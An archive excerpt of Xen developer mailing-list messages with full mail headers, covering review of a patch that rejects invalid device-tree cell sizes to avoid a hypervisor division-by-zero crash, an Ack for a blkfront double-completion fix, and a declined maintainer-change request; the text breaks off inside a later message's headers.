X-MS-Exchange-Transport-CrossTenantHeadersStamped: MW6PR12MB8706
X-purgate-ID: tlsNG-720697/1783592413-77B1F7C5-E9529874/0/0
X-purgate-type: clean
X-purgate-size: 2793



On 09-Jul-26 11:50, Jan Beulich wrote:
> On 09.07.2026 11:44, Dmytro Prokopchuk1 wrote:
>> A malformed partial DTB specifying both '#address-cells = <0>' and
>> '#size-cells = <0>' causes '(address_cells * 2 + size_cells)' to
>> evaluate to 0. This sum is subsequently used as a divisor when
>> calculating the number of regions in the 'xen,reg' property inside
>> handle_passthrough_prop():
>>
>>     len = fdt32_to_cpu(xen_reg->len) / ((address_cells * 2 + size_cells) *
>>                                         sizeof(uint32_t));
>>
>> This leads to a division by zero exception in the Xen hypervisor during
>> boot, causing a hypervisor panic/crash.
>>
>> Fix this by validating that both 'address_cells' and 'size_cells'
>> are within the valid range of [1, 2] at the read side in scan_pfdt_node()
>> immediately after they are parsed. Any invalid cell size combination is
>> safely rejected early with an error message and return -EINVAL.
>>
>> Fixes: 9ce974c47588 ("xen/arm: assign devices to boot domains")
>> Signed-off-by: Dmytro Prokopchuk <dmytro_prokopchuk1@epam.com>
>> ---
>> Changes in v3:
>>  - use Michal's idea for placing that check into other place
>>  - reword commit message
>> ---
>>  xen/common/device-tree/dom0less-build.c | 7 +++++++
>>  1 file changed, 7 insertions(+)
>>
>> diff --git a/xen/common/device-tree/dom0less-build.c b/xen/common/device-tree/dom0less-build.c
>> index eacfd93087..179a2b88aa 100644
>> --- a/xen/common/device-tree/dom0less-build.c
>> +++ b/xen/common/device-tree/dom0less-build.c
>> @@ -341,6 +341,13 @@ static int __init scan_pfdt_node(struct kernel_info *kinfo, const void *pfdt,
>>      size_cells = device_tree_get_u32(pfdt, nodeoff, "#size-cells",
>>                                       DT_ROOT_NODE_SIZE_CELLS_DEFAULT);
>>  
>> +    if ( address_cells < 1 || address_cells > 2 ||
>> +         size_cells < 1 || size_cells > 2 )
>> +    {
>> +        dprintk(XENLOG_ERR "Invalid address/size cells combination\n");
> 
> Perhaps just for my own education: Is it really "invalid", or merely
> "unsupported" / "unrecognized"? (I can see 0 being possibly invalid, but
> it looks less clear for values above 2.)
AFAIR the DT spec does not mention the limit other than the type limit.
The libfdt defines limit as 4 (see `FDT_MAX_NCELLS` macro).
I've only seen #address-cells being 3 for PCI buses, where the first cell
defines the space type). For me, personally invalid vs unsupported is blurry
because if something is unsupported from Xen PoV, it is also invalid from Xen
PoV, so I tend not to comment on such details (though I'm not a native speaker).

@Dmytro, to prevent back and forth discussions:
 - add brackets
 - improve the message as Andrew suggested

~Michal



From xen-devel-bounces@lists.xenproject.org Thu Jul 09 10:27:31 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 09 Jul 2026 10:27:31 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1357907.1612229 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whlyX-0001LZ-7D; Thu, 09 Jul 2026 10:27:25 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1357907.1612229; Thu, 09 Jul 2026 10:27:25 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whlyX-0001LS-3n; Thu, 09 Jul 2026 10:27:25 +0000
Received: by outflank-mailman (input) for mailman id 1357907;
 Thu, 09 Jul 2026 10:27:24 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <roger.pau@citrix.com>) id 1whlyW-0001LM-2x
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 10:27:24 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whlyV-002Q7E-Bh
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 12:27:23 +0200
Received: from [10.42.69.10] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <roger.pau@citrix.com>)
 id 6a4f777b-2eae-0a2a0a5409dd-0a2a450addfa-46
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 12:27:23 +0200
Received: from [52.101.48.47]
 (helo=MW6PR02CU001.outbound.protection.outlook.com)
 by tlsNG-4011c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <roger.pau@citrix.com>)
 id 6a4f7789-e40e-0a2a450a0019-3465302fc828-3
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 12:27:23 +0200
Received: from CH7PR03MB7860.namprd03.prod.outlook.com (2603:10b6:610:24e::14)
 by PH0PR03MB6493.namprd03.prod.outlook.com (2603:10b6:510:b7::20)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.181.10; Thu, 9 Jul
 2026 10:27:17 +0000
Received: from CH7PR03MB7860.namprd03.prod.outlook.com
 ([fe80::f5ba:35df:1c9f:b343]) by CH7PR03MB7860.namprd03.prod.outlook.com
 ([fe80::f5ba:35df:1c9f:b343%4]) with mapi id 15.21.0181.014; Thu, 9 Jul 2026
 10:27:17 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=citrix.com header.i="@citrix.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=SJbyOTEHap5J9dhCdB0lp3HGJCHxPjbw0qDpSnTFUveZAIm1ENVXWxScUeaZsZnyZ8vcFljbh2RfgifHDKXd8fBkxoEB+H555hBLB701nMi/5hPt8mwM9MKeXQW7GEJsINqC/PX/fAuZBwTvZ6Q0lDfskK+9/11BluKvmEH7c4jZYk1Rg7S2vFophDsZIqw/WiCZmKAmIdnHEHe5exvY5SUSTJ4tb1Xhd285TvFRpzE45w7arziJj5CN7sUqfAnc2EmtKF+A8kA1WWpQV0Q9wcKO/m+2q23iLu+kW4wtrrrAD8nwVL4goNLPR7DJvZ1TM8p4kcaVzEli3tJtMrkBhQ==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=XYmO5w03PfYnidaz0vUbo/qTsL63MCnQT79W8R9KlPU=;
 b=Wu34pl2pkLayXOWbu/haaSZc0bFUDNzzTzdVyA6XFodIMsi10wgvpzYTtYDqFoD167QDPKT2WMxQ3W5zan5+papOC0zFWrM9apj8byrY7FTXj6qejmqxDv2+2c+Z6yrGrBe8msywqy4f1suYO+xG4MjZO9kgd8KXR/CBwoDvbbGN8n36W1NLhAYhxrqt5DxoNpODbhJMm+P78EdBJCyVAqzi5mf07ossArG/7mmrs/iKnuIt3zvfCR+x+XkO6FSpVJudDvZSHRrptwCmBGPWJFdpY5qYT8SEzuWS1LBHkJPLTj5axrS65IJKSmT1AHVR5tE6kgrnnEDqjwhpARyT7Q==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=citrix.com; dmarc=pass action=none header.from=citrix.com;
 dkim=pass header.d=citrix.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=citrix.com;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=XYmO5w03PfYnidaz0vUbo/qTsL63MCnQT79W8R9KlPU=;
 b=mmYUxCkgzMf5NrX6WiepqLPQiwMEQZsZQXNMfOxI8sLVCGwNcrN2t1H8htYHLvAy+/dOzSd3yj0weF+gBp7ENKPCaB4pVVgXjDJ0DMkYsC1Vxwwr8zRcBMf/zLF3rnFG0QUK5WH/DGwp++ziKyd9wnWuFOdmhpKRsjZWLP6xU/o=
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=citrix.com;
Date: Thu, 9 Jul 2026 12:27:14 +0200
From: Roger Pau =?utf-8?B?TW9ubsOp?= <roger.pau@citrix.com>
To: Doruk Tan Ozturk <doruk@0sec.ai>
Cc: Juergen Gross <jgross@suse.com>,
	Stefano Stabellini <sstabellini@kernel.org>,
	Oleksandr Tyshchenko <oleksandr_tyshchenko@epam.com>,
	Jens Axboe <axboe@kernel.dk>, xen-devel@lists.xenproject.org,
	linux-block@vger.kernel.org, linux-kernel@vger.kernel.org
Subject: Re: [PATCH v2] xen-blkfront: fix double completion of split requests
 on resume
Message-ID: <ak93ggbNKsUEZq4H@macbook.local>
References: <20260709100853.7489-1-doruk@0sec.ai>
Content-Type: text/plain; charset=utf-8
Content-Disposition: inline
Content-Transfer-Encoding: 8bit
In-Reply-To: <20260709100853.7489-1-doruk@0sec.ai>
X-ClientProxiedBy: BN9PR03CA0362.namprd03.prod.outlook.com
 (2603:10b6:408:f7::7) To CH7PR03MB7860.namprd03.prod.outlook.com
 (2603:10b6:610:24e::14)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: CH7PR03MB7860:EE_|PH0PR03MB6493:EE_
X-MS-Office365-Filtering-Correlation-Id: b2c03735-475a-4324-f2a1-08dedda4a656
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|366016|376014|1800799024|23010399003|22082099003|18002099003|11063799006|56012099006;
X-Microsoft-Antispam-Message-Info:
	Td8XjHlsfxNND8nhqpYKyq8u5rInCcPpOgUBZPBG7IncHBavCmGNImsDN5XnczHhGCbkpZrR4a2vpDWdQTWeWDarkMTEr4GZtQbI3SnMxDdrgQ9LhTPFWMPrht9lRXCC70IZQ9PZ/PQhox2W7B/O8KiIAAgtt1/4oxB45jf0GaHUKB9MpX555d9zQYv2ot2mi/KEQkFmckZ84vjpFPJ/3JVxUUDWB/ZRMzvvhUePeV4Mc/oMBB7KgLNr7GGXrc0gw/8uMpNiThRbJoFStP3lHlr3fbJO8LqsYfprK+pJv39/SpUheZntJqgARW7dDuGlk6VJpHoiI6tQw/0HUSoKeOo63k5QHAfcZFAWoqCU9TIimXeRRgq/ZVfVlr5MRCZC7xLzt+2DrxW0RC0urSRKM+NA+tNPNzX0gqRBpnSfCcA3TzKnK4JJh8bi706uqgNLQlb+bsPPljyHGJ5dxnjk4vXc45WM4aquXyPO7l3+EEkB6nSJ4yyoe1qQkKcJJeWIV8iB/0MYSGw6hJMrj9aVG7+d3ys/MobjEb5O0RqAWkiQDwLazzSTevgD2I8GBWrMpcHW1nw/D5eG6H8L++FEC9XNzlo4d4XBAHBgdPmNyIA8zPBsdeRTMEx9vlX6p9EG3Dj+hJ3dRSSMVbsoK72wUIZeeUlvyq9idcK1UpOtDWA=
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:CH7PR03MB7860.namprd03.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(366016)(376014)(1800799024)(23010399003)(22082099003)(18002099003)(11063799006)(56012099006);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	=?utf-8?B?bzVVTkZNa3JiOEtJamNMNXg0bzlZSHhjTTFod3VkeDY1SHNuQlhaZE5IbGZ4?=
 =?utf-8?B?cTJlYnh2UytTVzBLZ3Z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mtP?=
 =?utf-8?B?dFZ2Ky9jVEhmdFRZdnZPMUNodGpXc0RzNHNvM08zSDJLaWRJekUzbFlQYnp0?=
 =?utf-8?B?VGZEVHRWdUNhWGRVS2VqTldSRFVXcGFlc0podFVKTG5GRk1Eek9kYkRCR2VM?=
 =?utf-8?B?ZkN5aXYzNk5wbFByc3FwUEJueUt2eWdwLzVBT2JwR0x4Tlg0NUJMbyszd3Fn?=
 =?utf-8?B?aDNCeFFUSkYwam1iOVdtakkwZXlZVlBRRG9pcVpQWWFHci85WU5JSGo5UUFr?=
 =?utf-8?B?UHg1blovMFlTc1VFSWUrQ0l3dXo0QUV5R0lUdDRKM3ovMHpRQXdIbmhGQ0NP?=
 =?utf-8?B?dlF3bUVVVVJHVzVlbWtuZGZlM0tyeERsQlpxMXgzb3FwQ29LZUtPYVJQYmxW?=
 =?utf-8?B?MkVIa253eE9oMmx0cGFhNTBJRENqV3ZYaGxUUEh2ZmdhK1BVd1M0dngwcm9M?=
 =?utf-8?B?OVVjOGp3aVF3T1lGUzRBUmJTQ0xXZlN4bDVRcGw0T0ljWkxWRld6ZTYrZjlS?=
 =?utf-8?B?SWdSYTFzcENiZEV1d1dXRENqWTZVekFITUptbXBYaTdJU2FxNUg0UT09?=
X-OriginatorOrg: citrix.com
X-MS-Exchange-CrossTenant-Network-Message-Id: b2c03735-475a-4324-f2a1-08dedda4a656
X-MS-Exchange-CrossTenant-AuthSource: CH7PR03MB7860.namprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 09 Jul 2026 10:27:17.0778
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: 335836de-42ef-43a2-b145-348c2ee9ca5b
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: T0NdkSoXoir7baRzXkhT7vPXO+QLHvkRY9cChKqMZ1OJpUSQNXe2wJ0MJElJLaE1r8IqpYFdrEKtRCh2a/x7bQ==
X-MS-Exchange-Transport-CrossTenantHeadersStamped: PH0PR03MB6493
X-purgate-ID: tlsNG-4011c0/1783592843-D7736DDE-BC5828F3/0/0
X-purgate-type: clean
X-purgate-size: 1663

On Thu, Jul 09, 2026 at 12:08:53PM +0200, Doruk Tan Ozturk wrote:
> When a block request is too large for a single ring entry and the
> backend does not support indirect descriptors, blkfront splits it across
> two ring requests. This only happens when the frontend runs on a
> 64K-page kernel (e.g. arm64): there, even a single-page request may not
> fit in one ring slot and must be split. blkif_ring_get_request() is
> called twice and both shadow slots (shadow[id] and shadow[extra_id])
> point at the *same* struct request, linked through associated_id.
> 
> blkif_completion() collapses the pair on the normal completion path,
> recycling the second slot and completing the request once. The
> suspend/resume walk in blkfront_resume() does not: it visits every
> shadow slot with ->request set and calls blk_mq_end_request() or
> re-queues ->request. For an in-flight split request it therefore
> processes the shared struct request twice on resume/migration -- a
> double completion.
> 
> Skip the secondary slot of a split request in the resume walk so each
> logical request is processed exactly once. The secondary slot is the
> linked one (associated_id != NO_ASSOCIATED_ID) that carries no
> scatter-gather list (num_sg == 0); the first slot always keeps the sg
> list. The bug is only reachable on suspend/resume or live migration of
> such a guest, so it has no local reproducer.
> 
> Fixes: 6cc568339047 ("xen/blkfront: Handle non-indirect grant with 64KB pages")
> Assisted-by: 0sec:claude-opus-4-8
> Signed-off-by: Doruk Tan Ozturk <doruk@0sec.ai>

Acked-by: Roger Pau MonnÃ© <roger.pau@citrix.com>

Thanks, Roger.


From xen-devel-bounces@lists.xenproject.org Thu Jul 09 10:40:01 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 09 Jul 2026 10:40:01 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1357923.1612238 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whmAc-0003da-B4; Thu, 09 Jul 2026 10:39:54 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1357923.1612238; Thu, 09 Jul 2026 10:39:54 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whmAc-0003dT-7u; Thu, 09 Jul 2026 10:39:54 +0000
Received: by outflank-mailman (input) for mailman id 1357923;
 Thu, 09 Jul 2026 10:39:52 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <cody.zuschlag@gmail.com>) id 1whmAa-0003dN-11
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 10:39:52 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whmAY-00BJvV-WF
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 12:39:51 +0200
Received: from [10.42.69.6] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <cody.zuschlag@gmail.com>)
 id 6a4f7a68-5cb7-0a2a0a5109dd-0a2a45068328-0
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 12:39:36 +0200
Received: from [209.85.128.44] (helo=mail-wm1-f44.google.com)
 by tlsNG-16d1c6.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <cody.zuschlag@gmail.com>)
 id 6a4f7a68-08de-0a2a45060019-d155802cf156-3
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 12:39:36 +0200
Received: by mail-wm1-f44.google.com with SMTP id
 5b1f17b1804b1-493ba701891so12359015e9.3
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 03:39:36 -0700 (PDT)
Received: from smtpclient.apple ([2a01:e0a:e14:c050:5caf:dc83:85fb:fe5a])
 by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-493e580cc6asm105087635e9.1.2026.07.09.03.39.34
 (version=TLS1_2 cipher=ECDHE-ECDSA-AES128-GCM-SHA256 bits=128/128);
 Thu, 09 Jul 2026 03:39:34 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="To:Cc:Date:Message-Id:Subject:Mime-Version:Content-Type:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1783593576; x=1784198376; darn=lists.xenproject.org;
        h=to:cc:date:message-id:subject:mime-version:content-type:from:from
         :to:cc:subject:date:message-id:reply-to:content-type;
        bh=+xXH41JrLnk03HngbhUy9J7pdEE/JCYhdqqjsE2b8bA=;
        b=kn/h4/2rgSMSoIyWnacf1diQYNt5O7brwiZ+mWm6n/sdSCgPSeA76wdgLmOgLFPLOQ
         kUit5jWkmYZ91WRAfWRwO0FHBW6sM4o+85waGbxrXqfc736HaVwzY6asYGIS1J8cL/xT
         j7IHkwUNw5E6GY068LLB5LbAcFp6at8bOL2vPhy+RuLWfFy7EwJthXpVzH+z333HhdPU
         WD5QX2au6UO7B2Y1KscrFydrV9LYTd45La1ruckWIXgJewIZs6/PlH3wVrm9A/XCx5x3
         2yDj+FzZcCgOG87SFUSeNM/PeomTmT1l9kaHyEpsIW8SYiGKNgtWOusmm0fwW1eMSY76
         QwEg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783593576; x=1784198376;
        h=to:cc:date:message-id:subject:mime-version:content-type:from
         :x-gm-gg:x-gm-message-state:from:to:cc:subject:date:message-id
         :reply-to:content-type;
        bh=+xXH41JrLnk03HngbhUy9J7pdEE/JCYhdqqjsE2b8bA=;
        b=KMUVAG/TydoC9GXtpBInzIYAvUZHkLBkp+xD0rudnJIvmBsk3XW7YiRNuegDF0mQRG
         7O+yio3ugPANHHl6WCmDFBKjjdPolIAdVyV6cjntvAhloM8CX9DntYdKwtnpRbhAAdKG
         Y2PZP4GFcMvR16eS0I6p0lU1DwRLYbGwF2NsAejs3awbDN5By775CRz30cA4z7+H1EKE
         FIGa8j/NFpuoFzJpzLC5awPU6B8HvOXCKpKjcq0/qoi2n2CJQ3/zJ97ELJlSPl16wyNW
         pvhqTi9Le/crwWvc9Os+U+elVkQ/A//judzairyTCFEHc6BUVTvAHZnqyJU1HI9SSPcv
         /Ilw==
X-Forwarded-Encrypted: i=1; AHgh+RoL0G00JlSaPMSl0+NoTk8mvCJjpWsOtVD8seoeumGJ0NXeCA2j2e94QoS1WzUoaVj6IV7tZhgGWfA=@lists.xenproject.org
X-Gm-Message-State: AOJu0YxKBfDX7RJT7C3F0kyvF57GoLltZqA4r4DwUQEy3AVszn/kD4eD
	3XS416dGBc6ANxzdz0ITTSN9JQYkn3CRxQHLDelemPuNuQWE6t2V4hnl
X-Gm-Gg: AfdE7ckrIUwGkHGo1BYAYLeLd0wX8GbcSBxlc2Wj6DJzt6Qu/wSxkdieE/lK8XBE/mM
	XpwuIAfl0IPB4qpGdvbQmZTvCop5eLeUd1/RnCgA3mPvHLG/5+SzaM7chMPHMutgM22foA8oZ8+
	OJ0PgwzNyZo8jJBLwKAcC0iJ06KodUZegeUkulSo5CkKltkVpmzez+Cv9PnFaXuyPogq0YBcZW8
	vuGUBLQvR0uW0aMgt+V3aV7HjlmiohensoHfrssysAHo2u/Q4uTpJPpkGzW6jPT2EDrF5cngz3X
	tIbu574YBQqXhSgIBcdEHEjWHVXloteJ6Pa7qu+jmvAo8JrcbCMlcM8+ZyHynxAhm8uWDfFMQwC
	WWrn93V7/Ow++jzWwxfn8Xwmt969DMi8d/Rzk8fjNew8k6XfCXAf98VKd+pJgv9oz3EX4UAjKGl
	Se66RvnjB1ODWKGcw4flq4+LwByxGLeGldGuLRNkaPemRGqKE=
X-Received: by 2002:a05:600c:4709:b0:490:b7e6:bd1d with SMTP id 5b1f17b1804b1-493e689c16dmr63400355e9.16.1783593575934;
        Thu, 09 Jul 2026 03:39:35 -0700 (PDT)
From: Cody Zuschlag <cody.zuschlag@gmail.com>
Content-Type: multipart/alternative;
	boundary="Apple-Mail=_258BF3A5-1573-4559-B3E6-F7E92EF19905"
Mime-Version: 1.0 (Mac OS X Mail 16.0 \(3864.600.51.1.1\))
Subject: Re: [PATCH] maintiners: promote to argo maintainer
Message-Id: <3C86D388-54FE-435E-AD48-81204CBB8011@gmail.com>
Date: Thu, 9 Jul 2026 12:39:23 +0200
Cc: andrew.cooper3@citrix.com,
 anthony.perard@vates.tech,
 jbeulich@suse.com,
 julien@xen.org,
 michal.orzel@amd.com,
 roger.pau@citrix.com,
 sstabellini@kernel.org,
 xen-devel@lists.xenproject.org
To: dpsmith@apertussolutions.com
X-Mailer: Apple Mail (2.3864.600.51.1.1)
X-purgate-ID: tlsNG-16d1c6/1783593576-C652168D-23962B6C/0/0
X-purgate-type: clean
X-purgate-size: 1416


--Apple-Mail=_258BF3A5-1573-4559-B3E6-F7E92EF19905
Content-Transfer-Encoding: quoted-printable
Content-Type: text/plain;
	charset=us-ascii

Hi Daniel,

Thanks for the patch.

After the recent discussions around Argo, we believe it is best to leave =
it under "The Rest" for the time being rather than make maintainer =
changes.

That said, we greatly appreciate your reviews and technical insight, and =
we encourage you to continue reviewing and commenting on Argo-related =
changes as they come up.

Thanks,

Cody Zuschlag

Xen Project Community Manager=

--Apple-Mail=_258BF3A5-1573-4559-B3E6-F7E92EF19905
Content-Transfer-Encoding: 7bit
Content-Type: text/html;
	charset=us-ascii

<html><head><meta http-equiv="content-type" content="text/html; charset=us-ascii"></head><body style="overflow-wrap: break-word; -webkit-nbsp-mode: space; line-break: after-white-space;"><p>Hi Daniel,</p><p>Thanks for the patch.</p><p>After the recent discussions around Argo, we believe it is best to leave it under "The Rest" for the time being rather than make maintainer changes.</p><p>That said, we greatly appreciate your reviews and technical insight, and we encourage you to continue reviewing and commenting on Argo-related changes as they come up.</p><p>Thanks,</p><p>Cody Zuschlag</p><p>Xen Project Community Manager</p></body></html>
--Apple-Mail=_258BF3A5-1573-4559-B3E6-F7E92EF19905--


From xen-devel-bounces@lists.xenproject.org Thu Jul 09 10:50:01 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 09 Jul 2026 10:50:01 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1357934.1612247 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whmKJ-0005I4-4o; Thu, 09 Jul 2026 10:49:55 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1357934.1612247; Thu, 09 Jul 2026 10:49:55 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whmKJ-0005Hx-29; Thu, 09 Jul 2026 10:49:55 +0000
Received: by outflank-mailman (input) for mailman id 1357934;
 Thu, 09 Jul 2026 10:49:54 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1whmKI-0005Hr-4m
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 10:49:54 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whmKG-00BcZL-Vc
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 12:49:52 +0200
Received: from [10.42.69.10] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a4f7cc8-2eae-0a2a0a5409dd-0a2a450adbca-20
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 12:49:52 +0200
Received: from [209.85.208.178] (helo=mail-lj1-f178.google.com)
 by tlsNG-4011c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a4f7cd0-e40e-0a2a450a0019-d155d0b2a8f4-3
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 12:49:52 +0200
Received: by mail-lj1-f178.google.com with SMTP id
 38308e7fff4ca-39c62764c7cso6908031fa.0
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 03:49:52 -0700 (PDT)
Received: from [192.168.1.6] (user-109-243-144-234.play-internet.pl.
 [109.243.144.234]) by smtp.gmail.com with ESMTPSA id
 2adb3069b0e04-5b007f68765sm2293170e87.10.2026.07.09.03.49.51
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Thu, 09 Jul 2026 03:49:51 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:Content-Type:Subject:From:Cc:To:Content-Language:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1783594192; x=1784198992; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:subject:from:cc:to
         :content-language:user-agent:mime-version:date:message-id:from:to:cc
         :subject:date:message-id:reply-to:content-type;
        bh=zhWQNEAsdS01hIEuljmqZWiSFpvLV6INoFO1IuYSEcA=;
        b=Zv8aUfeWp219kJ6mlOEsVylyNeBm1f2UdzznvzNFsu+r6s8JPz3SdMyuufFLQ2U4W5
         36yZ4tMQJzW8stSI2guJIgdKng7VO0sd6XoLGDCoBra9aHAM/e9nmOgdodBxxAeFMUxp
         A1xc7BkRaXo911bNB4zEJjBh9EeVJ5UdXlrmyQyDge4hkMu5b3lvtYeO52kqKMSqe+Fd
         5jiXIpc/6q78LSUpQR8pqaCI4O8S0Jrj3pnlucLFtNidejbu1iZl1Kr4QKLAXbCeF6sU
